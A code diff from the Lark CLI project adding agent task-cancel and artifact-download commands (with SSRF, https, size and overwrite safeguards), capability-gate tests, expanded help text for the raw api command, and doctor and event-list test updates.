// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
|
||||
// unsupported_capability without any API access. Only a supporting spec reaches
|
||||
// runtimeFor + CancelTask.
|
||||
func agentTaskCancelRun(opts *taskOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if spec.CancelTask == nil {
|
||||
return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call. A
|
||||
// task_cancel=false agent never reaches here (gated above); it is wired so a
|
||||
// provider that supports cancel is not silently exempt from the all-or-nothing
|
||||
// scope check.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := spec.CancelTask(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
|
||||
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
|
||||
// download-hardened client; an inline-bytes artifact is written directly. The
|
||||
// output path is validated with SafeOutputPath (relative, within the CWD)
|
||||
// before any write.
|
||||
func downloadArtifact(opts *taskOptions) error {
|
||||
safePath, err := validate.SafeOutputPath(opts.Output)
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
|
||||
WithParam("--output").WithCause(err)
|
||||
}
|
||||
|
||||
// Overwriting a local file destroys its content irreversibly — a high-risk
|
||||
// write. It goes through the same confirmation contract as other --force
|
||||
// gates (config bind): without --force, a would-be overwrite returns
|
||||
// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
|
||||
// symlink at the path counts as existing rather than being followed.
|
||||
if !opts.Force {
|
||||
if _, statErr := vfs.Lstat(safePath); statErr == nil {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
|
||||
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
|
||||
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
|
||||
}
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
art, err := resolveDownload(opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// A provider decoding an empty "data" via Call[*ArtifactData] can return
|
||||
// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
|
||||
// carries no downloadable content. Both are provider-response defects — fail
|
||||
// with a typed error instead of dereferencing nil or writing a 0-byte file
|
||||
// (which under --force would clobber an existing local file with emptiness).
|
||||
if art == nil {
|
||||
return errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"provider 未返回产物数据(响应无 data)")
|
||||
}
|
||||
if len(art.Bytes) == 0 && art.URL == "" {
|
||||
return errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"产物 '%s' 无可下载内容(provider 既未提供内联字节也未提供下载 URL)", opts.ArtifactID)
|
||||
}
|
||||
|
||||
data := art.Bytes
|
||||
if art.URL != "" {
|
||||
data, err = artifactFetch(ctx, opts.Factory, art.URL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
|
||||
fmt.Fprintf(out, "path: %s\n", safePath)
|
||||
fmt.Fprintf(out, "bytes: %d\n", len(data))
|
||||
if art.Mime != "" {
|
||||
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
|
||||
}
|
||||
// suggested_name is the server-suggested name, for reference only; the
|
||||
// actual on-disk path is already the safePath (-o) above.
|
||||
if art.Name != "" {
|
||||
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"artifact_id": opts.ArtifactID,
|
||||
"path": safePath,
|
||||
"bytes": len(data),
|
||||
"mime": art.Mime,
|
||||
"suggested_name": art.Name,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
|
||||
// a download-hardened HTTP client from the Factory and reads the body up to
|
||||
// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
|
||||
// external content, so both the URL and the redirect chain are guarded.
|
||||
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
|
||||
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
|
||||
WithCause(err)
|
||||
}
|
||||
// Artifact bytes come from an untrusted host over the network; require https
|
||||
// so the payload cannot be read or tampered with in transit. The SSRF check
|
||||
// above already rejects private/loopback hosts and non-http(s) schemes, so a
|
||||
// surviving non-https URL is plain-text http.
|
||||
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https(拒绝明文下载)")
|
||||
}
|
||||
base, err := f.HttpClient()
|
||||
if err != nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
|
||||
}
|
||||
client := hardenDownloadClient(base)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
|
||||
}
|
||||
// Read ONE byte past the cap so an oversized body is detected rather than
|
||||
// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
|
||||
// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
|
||||
// A body over the cap is refused with a typed error instead of writing a
|
||||
// corrupt, partial file that would otherwise report success.
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
|
||||
}
|
||||
if int64(len(data)) > maxArtifactBytes {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"产物超过大小上限 %d 字节,拒绝下载(避免写入被截断的残缺文件)", int64(maxArtifactBytes))
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
1141
cmd/agent/task_test.go
Normal file
1141
cmd/agent/task_test.go
Normal file
File diff suppressed because it is too large
Load Diff
202
cmd/agent/unsupported_test.go
Normal file
202
cmd/agent/unsupported_test.go
Normal file
@@ -0,0 +1,202 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// fakeUnsupSpec is a stub instance spec driving the command-layer
|
||||
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
|
||||
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
|
||||
// unsupported_capability before any network access. GetTask is wired to return a
|
||||
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
|
||||
// re-derive it). Send is wired (core, required by Register) but never called
|
||||
// here. There is no capability-refusal code in the spec — "unsupported" is
|
||||
// expressed purely by the absent hooks.
|
||||
func fakeUnsupSpec() *iagent.AgentSpec {
|
||||
return &iagent.AgentSpec{
|
||||
Send: func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
panic("unsup provider: Send should not be called")
|
||||
},
|
||||
GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
|
||||
// Deliberate mismatch: State is terminal but IsTerminal=false.
|
||||
return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
|
||||
},
|
||||
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
|
||||
}
|
||||
}
|
||||
|
||||
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
|
||||
// panics on duplicates). Like the other fakes it leaks into the package-level
|
||||
// registry for the remaining tests of this package run.
|
||||
var registerFakeUnsupOnce sync.Once
|
||||
|
||||
func registerFakeUnsup() {
|
||||
registerFakeUnsupOnce.Do(func() {
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakeunsup",
|
||||
Label: "test fake (unwired optional capabilities)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
Instance: fakeUnsupSpec(),
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
// assertUnsupportedCapability pins the full capability-gate contract on err:
|
||||
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
|
||||
// `agent card <ref>`, and — because the Factory's httpmock registry has zero
|
||||
// stubs — no HTTP was issued (any network attempt would have surfaced as an
|
||||
// "httpmock: no stub" error instead of the typed one).
|
||||
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported capability should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card "+ref) {
|
||||
t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
|
||||
}
|
||||
if strings.Contains(err.Error(), "httpmock") {
|
||||
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
|
||||
// provider that does not wire ListContexts returns typed unsupported_capability
|
||||
// (exit 2) with the agent-card hint, without any HTTP.
|
||||
func TestContextListUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
|
||||
// `context delete` path (--yes passes, provider does not wire DeleteContext).
|
||||
func TestContextDeleteUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// unsupFactory is a small helper for the capability-gate tests.
|
||||
func unsupFactory(t *testing.T) *cmdutil.Factory {
|
||||
t.Helper()
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
return f
|
||||
}
|
||||
|
||||
// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
|
||||
// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
|
||||
func TestTaskListUnsupportedGated(t *testing.T) {
|
||||
f := unsupFactory(t)
|
||||
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
|
||||
assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
|
||||
func TestContextGetUnsupportedGated(t *testing.T) {
|
||||
f := unsupFactory(t)
|
||||
opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
|
||||
assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
|
||||
// does not wire DownloadArtifact, so `task get --artifact` returns
|
||||
// unsupported_capability (exit 2) before any download.
|
||||
func TestArtifactDownloadUnsupportedGated(t *testing.T) {
|
||||
f := unsupFactory(t)
|
||||
opts := &taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
|
||||
ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
|
||||
// declares file_input=false, so `send --file` returns unsupported_capability
|
||||
// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
|
||||
// network, so no file is opened and no request is issued.
|
||||
func TestSendFileUnsupportedGated(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
|
||||
Files: []string{"whatever.txt"}, As: "bot", Format: "json",
|
||||
})
|
||||
assertUnsupportedCapability(t, err, "example:echo")
|
||||
}
|
||||
|
||||
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
|
||||
// provider returning a State/IsTerminal-mismatched task (completed +
|
||||
// is_terminal=false) must emit is_terminal=true — the command layer derives
|
||||
// the flag from State, the single source of truth.
|
||||
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentTaskGetRun(opts); err != nil {
|
||||
t.Fatalf("task get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["state"] != "completed" {
|
||||
t.Fatalf("data.state should be completed, got %v", data["state"])
|
||||
}
|
||||
if data["is_terminal"] != true {
|
||||
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
|
||||
// (task list runs its summaries through this helper; context get derives the
|
||||
// single active_task's flag inline the same way).
|
||||
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
|
||||
ts := normalizeTaskSummaries([]iagent.TaskSummary{
|
||||
{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
|
||||
{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true}, // wrong
|
||||
})
|
||||
if !ts[0].IsTerminal {
|
||||
t.Error("completed summary should derive is_terminal=true")
|
||||
}
|
||||
if ts[1].IsTerminal {
|
||||
t.Error("working summary should derive is_terminal=false")
|
||||
}
|
||||
if normalizeTask(nil) != nil {
|
||||
t.Error("normalizeTask(nil) should be nil-safe")
|
||||
}
|
||||
}
|
||||
@@ -67,8 +67,21 @@ func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*AP
|
||||
|
||||
cmd := &cobra.Command{
|
||||
Use: "api <method> <path>",
|
||||
Short: "Generic Lark API requests",
|
||||
Args: cobra.ExactArgs(2),
|
||||
Short: "Raw HTTP escape hatch — call any endpoint by path (fallback when no typed command exists)",
|
||||
Long: `Raw HTTP escape hatch: send any Lark API request by HTTP method + path.
|
||||
|
||||
Prefer the typed domain command when one exists — it validates parameters,
|
||||
shows the Risk level, gates destructive calls behind --yes, and carries usage
|
||||
guidance that this raw command does not. If a domain command covers your task
|
||||
(browse with ` + "`lark-cli <domain> --help`" + `), use it instead of this.
|
||||
|
||||
Reach for ` + "`api`" + ` only for endpoints that have no typed command yet (e.g.
|
||||
newer/preview APIs), where you already have the HTTP path from the Lark docs.
|
||||
|
||||
Examples:
|
||||
lark-cli api GET /open-apis/calendar/v4/calendars
|
||||
lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"open_id"}' --data @body.json`,
|
||||
Args: cobra.ExactArgs(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
opts.Method = strings.ToUpper(args[0])
|
||||
opts.Path = args[1]
|
||||
|
||||
14
cmd/build.go
14
cmd/build.go
@@ -8,6 +8,8 @@ import (
|
||||
"io"
|
||||
"io/fs"
|
||||
|
||||
_ "github.com/larksuite/cli/agent"
|
||||
"github.com/larksuite/cli/cmd/agent"
|
||||
"github.com/larksuite/cli/cmd/api"
|
||||
"github.com/larksuite/cli/cmd/auth"
|
||||
"github.com/larksuite/cli/cmd/completion"
|
||||
@@ -19,6 +21,7 @@ import (
|
||||
"github.com/larksuite/cli/cmd/service"
|
||||
"github.com/larksuite/cli/cmd/skill"
|
||||
cmdupdate "github.com/larksuite/cli/cmd/update"
|
||||
"github.com/larksuite/cli/cmd/whoami"
|
||||
_ "github.com/larksuite/cli/events"
|
||||
"github.com/larksuite/cli/internal/apicatalog"
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
@@ -170,6 +173,10 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
rootCmd.SetOut(cfg.streams.Out)
|
||||
rootCmd.SetErr(cfg.streams.ErrOut)
|
||||
|
||||
// Root-only usage template (curated Usage synopsis + skills footer); see
|
||||
// rootUsageTemplate.
|
||||
rootCmd.SetUsageTemplate(rootUsageTemplate)
|
||||
|
||||
installTipsHelpFunc(rootCmd)
|
||||
rootCmd.SilenceErrors = true
|
||||
// SilenceUsage as a static field (not only in PersistentPreRun) so it also
|
||||
@@ -190,12 +197,14 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
rootCmd.AddCommand(auth.NewCmdAuth(f))
|
||||
rootCmd.AddCommand(profile.NewCmdProfile(f))
|
||||
rootCmd.AddCommand(doctor.NewCmdDoctor(f))
|
||||
rootCmd.AddCommand(whoami.NewCmdWhoami(f))
|
||||
rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
|
||||
rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
|
||||
rootCmd.AddCommand(completion.NewCmdCompletion(f))
|
||||
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
|
||||
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
|
||||
rootCmd.AddCommand(skill.NewCmdSkill(f))
|
||||
rootCmd.AddCommand(agent.NewCmdAgent(f))
|
||||
if !cfg.skipService {
|
||||
if cfg.serviceCatalog != nil {
|
||||
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
|
||||
@@ -205,7 +214,12 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
}
|
||||
shortcuts.RegisterShortcutsWithContext(ctx, rootCmd, f)
|
||||
|
||||
groupRootCommands(rootCmd)
|
||||
|
||||
installUnknownSubcommandGuard(rootCmd)
|
||||
// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
|
||||
// before printing help; non-bare invocations and non-TTY are unaffected.
|
||||
installRootUpgradePrompt(f, rootCmd)
|
||||
|
||||
if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
|
||||
pruneForStrictMode(rootCmd, mode)
|
||||
|
||||
@@ -129,7 +129,10 @@ func doctorRun(opts *DoctorOptions) error {
|
||||
if diagnostics.Bot.Available || diagnostics.User.Available {
|
||||
checks = append(checks, pass("identity_ready", "at least one identity is available"))
|
||||
} else {
|
||||
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", "run: lark-cli auth status --verify"))
|
||||
// No hint: this only summarizes the two checks above, which already carry
|
||||
// the source-appropriate remediation. A command here would be redundant,
|
||||
// or wrong (`auth status` is blocked under an external provider).
|
||||
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", ""))
|
||||
}
|
||||
|
||||
// ── 4 & 5. Endpoint reachability ──
|
||||
|
||||
@@ -4,14 +4,19 @@
|
||||
package doctor
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
)
|
||||
|
||||
func TestNewCmdDoctor_FlagParsing(t *testing.T) {
|
||||
@@ -140,14 +145,84 @@ func TestDoctorRun_SplitsBotAndMissingUserIdentity(t *testing.T) {
|
||||
}
|
||||
|
||||
func assertCheck(t *testing.T, checks []checkResult, name, status string) {
|
||||
t.Helper()
|
||||
if got := findCheck(t, checks, name); got.Status != status {
|
||||
t.Fatalf("%s status = %q, want %q", name, got.Status, status)
|
||||
}
|
||||
}
|
||||
|
||||
func findCheck(t *testing.T, checks []checkResult, name string) checkResult {
|
||||
t.Helper()
|
||||
for _, check := range checks {
|
||||
if check.Name == name {
|
||||
if check.Status != status {
|
||||
t.Fatalf("%s status = %q, want %q", name, check.Status, status)
|
||||
}
|
||||
return
|
||||
return check
|
||||
}
|
||||
}
|
||||
t.Fatalf("check %q not found in %#v", name, checks)
|
||||
return checkResult{}
|
||||
}
|
||||
|
||||
type fakeExtProvider struct {
|
||||
name string
|
||||
account *extcred.Account
|
||||
}
|
||||
|
||||
func (p *fakeExtProvider) Name() string { return p.name }
|
||||
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
|
||||
return p.account, nil
|
||||
}
|
||||
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// Under an external credential provider with no usable identity, the
|
||||
// identity_ready hint must not point at `auth status` (blocked there); the
|
||||
// per-identity checks already carry the source-appropriate escalation.
|
||||
func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
|
||||
CurrentApp: "default",
|
||||
Apps: []core.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu}},
|
||||
}); err != nil {
|
||||
t.Fatalf("SaveMultiAppConfig() error = %v", err)
|
||||
}
|
||||
|
||||
// Provider serves neither identity: bot unsupported, user supported but not
|
||||
// signed in → both unavailable → identity_ready fails.
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser)}
|
||||
cred := credential.NewCredentialProvider(
|
||||
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}},
|
||||
nil, nil,
|
||||
func() (*http.Client, error) { return nil, nil },
|
||||
)
|
||||
out := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
Config: func() (*core.CliConfig, error) { return cfg, nil },
|
||||
Credential: cred,
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
|
||||
}
|
||||
|
||||
if err := doctorRun(&DoctorOptions{Factory: f, Ctx: context.Background(), Offline: true}); err == nil {
|
||||
t.Fatalf("doctorRun() = nil, want failure when no identity is available")
|
||||
}
|
||||
var got struct {
|
||||
Checks []checkResult `json:"checks"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
|
||||
t.Fatalf("json.Unmarshal() error = %v\n%s", err, out.String())
|
||||
}
|
||||
|
||||
ready := findCheck(t, got.Checks, "identity_ready")
|
||||
if ready.Status != "fail" {
|
||||
t.Fatalf("identity_ready status = %q, want fail", ready.Status)
|
||||
}
|
||||
// The summary defers to the per-identity checks; it carries no hint of its
|
||||
// own (a command here would be wrong under an external provider).
|
||||
if ready.Hint != "" {
|
||||
t.Fatalf("identity_ready should carry no hint, got %q", ready.Hint)
|
||||
}
|
||||
user := findCheck(t, got.Checks, "user_identity")
|
||||
if !strings.Contains(user.Hint, "external") || strings.Contains(user.Hint, "auth login") {
|
||||
t.Fatalf("user_identity hint not external-appropriate: %q", user.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,10 +10,22 @@ import (
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
|
||||
_ "github.com/larksuite/cli/events"
|
||||
)
|
||||
|
||||
func TestEventLookup_VCMeetingLifecycleKeys(t *testing.T) {
|
||||
for _, key := range []string{
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
if _, ok := eventlib.Lookup(key); !ok {
|
||||
t.Fatalf("event.Lookup(%q) should succeed", key)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunList_TextOutput(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
@@ -26,6 +38,9 @@ func TestRunList_TextOutput(t *testing.T) {
|
||||
"KEY", "AUTH", "PARAMS", "DESCRIPTION",
|
||||
"im.message.receive_v1",
|
||||
"im.message.message_read_v1",
|
||||
"task.task.update_user_access_v2",
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Errorf("list output missing %q; full output:\n%s", want, out)
|
||||
@@ -55,4 +70,31 @@ func TestRunList_JSONOutput(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
gotKeys := map[string]map[string]interface{}{}
|
||||
for _, row := range rows {
|
||||
if key, ok := row["key"].(string); ok {
|
||||
gotKeys[key] = row
|
||||
}
|
||||
}
|
||||
var foundTask bool
|
||||
for key, row := range gotKeys {
|
||||
if key == "task.task.update_user_access_v2" {
|
||||
foundTask = true
|
||||
if row["single_consumer"] != true {
